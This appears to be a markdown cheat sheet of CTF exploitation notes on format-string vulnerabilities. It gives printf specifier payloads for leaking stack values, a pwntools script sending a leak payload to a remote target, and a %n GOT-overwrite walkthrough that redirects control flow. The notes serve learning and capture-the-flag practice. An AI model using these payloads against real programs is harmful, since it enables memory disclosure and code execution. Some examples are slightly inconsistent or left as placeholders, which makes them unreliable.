# Format String

* Read and write values from stack
* [axcheron's writeup](https://axcheron.github.io/exploit-101-format-strings/)

## Parameters

|Parameters       |Type                                       |Passed as  |
|-----------------|-------------------------------------------|-----------|
| %d              | decimal (int)                             | value     |    
| %u              | unsigned decimal (unsigned int)           | value     |
| %x              | hexadecimal (unsigned int)                | value     |
| %p              | hexadecimal (unsigned int), nice layout   | value     |
| %s              | string ((const) (unsigned) char*)         | reference |
| %n              | write the number of bytes ypu put in, (*int) | reference |

## Offset

* Read at offset as pointer value at the 42th argument on the stack
```sh
%42$s
```
* If the pointer at the offset references a string you can dereference by
```sh
%42$s
```

## Length of output

* Padding of the first argument on stack to the given length
```sh
%31337x
```

## Read

* Input `%x` for every value that should be read from the stack. These are the next values at lower addresses, directly under the print format function
```sh
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x 
```

* Do long long hex reading from stack
```sh
%llx
```

* Select values as string, e.g. the second value
```sh
%2$s
```
* Another way of reading the pointer is via 
```sh
%p
```
* Read pointer on stack at offset 42
```sh
%42$p
```

* [ir0stone's pwn-notes](https://github.com/ir0nstone/pwn-notes/blob/master/types/stack/format-string.md) contains some useful pwntool scripts like this one
```python
from pwn import *

#p = process('./vuln')
p = remote(target_ip, 9006)

payload = b'%14$p||||'                                                                                                         
payload += p32(0x8048000)

p.sendline(payload)
log.info(p.clean())
```

## Write

* Writing is done via `%n`
* An example, GOT overwrite. We want to replace the pointer address
    * Watch out for the `PTR` from PLT to GOT
```sh
objdump -Mintel -d <binary>

[...]
0000000000401060 <printf@plt>:
  401060:	ff 25 ca 2f 00 00    	jmp    QWORD PTR [rip+0x2fca]        # 404030 <printf@GLIBC_2.2.5>
  401066:	68 03 00 00 00       	push   0x3
  40106b:	e9 b0 ff ff ff       	jmp    401020 <_init+0x20>
[...]
```
* The `PTR` derefences __0x404030__
* As an example, the parameter is found at arg 6 on the stack
* Write the address of a function that cannot be reached into the PLT `PTR` to GOT through the buffer, so it will execute. The address which should be written is `0x40123b`
* The input is as follows
```sh
%64c%6$n<restof address - 67>c   %13$hn
```
* `64c` is `0x40`, rest of address - bytes already + 2 bytes alignment

## Tips and Tricks

* Overwrite GOT when there is no FullRELRO, when it is not read only
* Find the input argument on the stack. Write `AAAA` and look out where it is placed on the stack
```sh
AAAA%6$p
```

